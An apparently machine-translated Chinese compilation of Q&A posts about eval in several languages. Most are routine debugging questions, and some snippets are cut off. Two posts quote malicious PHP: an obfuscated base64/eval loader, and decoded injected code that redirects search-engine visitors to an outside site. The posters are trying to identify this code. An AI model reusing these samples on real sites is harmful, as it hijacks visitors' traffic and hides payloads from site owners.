标签: eval

我正试图从一个href调用javascript函数.该函数有一个参数,将由eval函数检索.但是会发生一些错误.

脚本:

function rate(id) {

            // do something
        }

一个将调用该函数的标记:

<a href="javascript:rate(" + <%#Eval("ID")%> + ")" >rate</a>

我错过了什么？

如何main在Ruby中了解或评估对象？

例：

$ irb
irb(main):001:0> self
=> main
irb(main):002:0> eval "self"
=> main
irb(main):003:0> eval "main"
NameError: undefined local variable or method `main' for main:Object
        from (irb):3:in `eval'
        from (irb):3:in `eval'
        from (irb):3
    from /home/malo/.rvm/rubies/ruby-1.9.3-p448/bin/irb:12:in `<main>'

主要约束在于，可以从类，模块或实例中的任何位置评估代码字外壳。因此，它将是普遍的。

我的问题专门针对Perl,但我希望对大多数语言都有所启发.

使用eval()函数和if()语句之间是否存在实际差异(性能方面和效率方面)？

eval(-e /path/to/file) or die "file doesn't exist";
if (! -e /path/to/file) { die "file doesn't exist"; }

如果你可以帮助我,我很久以前就解密了这个脚本,我忘了怎么办？

脚本在这个LINK上

我记得,有两个评估函数..

考虑这段代码:

from re import sub

input = request.POST['input']
sub_pattern = {'1':"sub('pattern1','txt1',input)",
               '2':"sub('pattern2','txt2',input)",
              }
eval(sub_pattern['1']) 

这段代码中是否有代码注入？你可以为这段代码注入提供POC吗？

东西是错误的eval功能

$string = '$val = 1526.65 - 1519.99;';
eval($string);
echo $val; => give 6.6600000000001, expected 6.66

测试在这里:http://sandbox.onlinephpfunctions.com/code/fa5b2e7e6602e60cdeb054b705a69e4a226bd52c

有人有解释吗？

有没有办法评估比较运算符作为字符串传递的比较。没有做很多if-else的。铁

 def cmp(arg1, op, arg2) : ......

进而 ：

 cmp(5, "==", 6)
 cmp(7, ">", 6)
 cmp(12, "<=", 34)
 cmp("abc", "==", "bad")

我从http://www.freereviewscript.com下载了免费评论脚本

其中一个文件是编码的,我想确保它没有任何恶意!任何帮助将非常感激!谢谢!!

PHP代码(没有php标签):

$ve08156dfe67="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";@eval($ve08156dfe67(
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我试图弄清楚 eval() 在 AngularJS 中是如何工作的，但我似乎无法理解它。

我有以下内容：

$scope.salaryRate, $scope.priceRate = {
    number: undefined,
    type: undefined,
    from: undefined,
    to: undefined,
    rate: undefined
}

$scope.addRate = function (variable) {
    eval('$scope.' + variable).push({
        'number': eval('$scope.' + variable + 'Rate').number,
        'type': eval('$scope.' + variable + 'Rate').type,
        'days': {
        'days': eval('$scope.' + variable + 'SelectedDay'),
        'daynames': displayDayNames($scope.dayNames, eval('$scope.' + variable + 'SelectedDay'))},
         'from': eval('$scope.' + variable + 'Rate').from,
         'to': eval('$scope.' + variable + 'Rate').to,
         'rate': eval('$scope.' + variable + 'Rate').rate,
         'id': eval(variable + 'Number')
    });
    eval('$scope.' …

我有一个循环，它一直运行直到用户按下 Ctrl+C。

然后要求用户输入 y/n。

如果用户按下'y'，那么我就按下eval('continue')。

如果用户按下'n'，那么我就按下eval('break')。

while True:
    try:
        ...
    except KeyboardInterrupt:
        ...
        options = {'y':'continue','n':'break'}
        while True:
            decision = raw_input('continue (y/n)?')
            if decision in options:
                break
        eval(options[decision])

当我按下 时'y'，我得到：

    continue
           ^
SyntaxError: unexpected EOF while parsing

当我按下 时'n'，我得到：

    break
           ^
SyntaxError: unexpected EOF while parsing

有人可以解释一下我在这里缺少什么吗？

在此代码中使用eval函数:

string中的函数有3个参数,但eval运行函数有2个参数:

为什么？

我正在使用的后端页面似乎注入了行 - eval(base64_decode("CgplcnJvcl9yZXBvcnRpbmcoMCk7C ...

并且base64字符串解码为

error_reporting(0);
$nccv=headers_sent();
if (!$nccv){
  $referer=$_SERVER['HTTP_REFERER'];

  if (stristr($referer,"aol.com")
    or stristr($referer,"yahoo")
    or stristr($referer,"google")
    or stristr($referer,"bing")
    or stristr($referer,"ask.com")
    or stristr($referer,"msn")
    or stristr($referer,"live")
    or stristr($referer,"facebook")
  ) {
    if (!stristr($referer,"cache") or !stristr($referer,"inurl")) {
        header("Location: http://lovemypants.co.cc/");
        exit();
    }
  }
}

很抱歉没问题.在撰写这个问题的时候,我对编程和SO都是一个菜鸟,想知道这段代码的含义以及它的影响是什么.